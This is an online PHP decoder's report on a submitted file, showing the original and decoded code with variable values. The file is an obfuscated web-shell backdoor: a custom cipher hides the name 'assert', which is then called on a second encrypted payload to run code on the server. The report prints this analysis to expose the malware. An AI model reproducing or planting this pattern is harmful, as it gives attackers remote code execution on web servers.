Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?PHP function encrypt($data, $key) { $key = md5($key); $x = 0; $len = st..

Decoded Output download

<?php 
 
function encrypt($data, $key) 
{ 
 $key = md5($key); 
    $x  = 0; 
    $len = strlen($data); 
    $l  = strlen($key); 
    for ($i = 0; $i < $len; $i++) 
    { 
        if ($x == $l) 
        { 
         $x = 0; 
        } 
        $char .= $key{$x}; 
        $x++; 
    } 
    for ($i = 0; $i < $len; $i++) 
    { 
        $str .= chr(ord($data{$i}) + (ord($char{$i})) % 256); 
    } 
   return base64_encode($str); 
   #return $str; 
} 
 
 
 
function decrypt($data, $key) 
{ 
 $key = md5($key); 
    $x = 0; 
    $data = base64_decode($data); 
    $len = strlen($data); 
    $l = strlen($key); 
    for ($i = 0; $i < $len; $i++) 
    { 
        if ($x == $l)  
        { 
         $x = 0; 
        } 
        $char .= substr($key, $x, 1); 
        $x++; 
    } 
    for ($i = 0; $i < $len; $i++) 
    { 
        if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1))) 
        { 
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1))); 
        } 
        else 
        { 
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1))); 
        } 
    } 
    return $str; 
} 
 
 
 
 
 
(@$_=decrypt("xKXZyqet","520025")).@$_(decrypt("l6aW0YvIlpulsdSoX1yWhoKDiL1ck42WX4xilZRlZ29ZWV4=","06789")); 
 
 
?> 

Did this file decode correctly?

Original Code

<?PHP

function encrypt($data, $key)
{
 $key = md5($key);
    $x  = 0;
    $len = strlen($data);
    $l  = strlen($key);
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $l)
        {
         $x = 0;
        }
        $char .= $key{$x};
        $x++;
    }
    for ($i = 0; $i < $len; $i++)
    {
        $str .= chr(ord($data{$i}) + (ord($char{$i})) % 256);
    }
   return base64_encode($str);
   #return $str;
}



function decrypt($data, $key)
{
 $key = md5($key);
    $x = 0;
    $data = base64_decode($data);
    $len = strlen($data);
    $l = strlen($key);
    for ($i = 0; $i < $len; $i++)
    {
        if ($x == $l) 
        {
         $x = 0;
        }
        $char .= substr($key, $x, 1);
        $x++;
    }
    for ($i = 0; $i < $len; $i++)
    {
        if (ord(substr($data, $i, 1)) < ord(substr($char, $i, 1)))
        {
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));
        }
        else
        {
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));
        }
    }
    return $str;
}





(@$_=decrypt("xKXZyqet","520025")).@$_(decrypt("l6aW0YvIlpulsdSoX1yWhoKDiL1ck42WX4xilZRlZ29ZWV4=","06789"));


?>

Function Calls

chr 6
md5 1
ord 24
strlen 2
substr 30
decrypt 1
base64_decode 1

Variables

$_ assert
$i 6
$l 32
$x 6
$key c2fe59547322a4bb7db612af5dae1281
$len 6
$str assert
$char c2fe59

Stats

MD5 000eff020ff21f724627a30aefa6c9a1
Eval Count 1
Decode Time 280 ms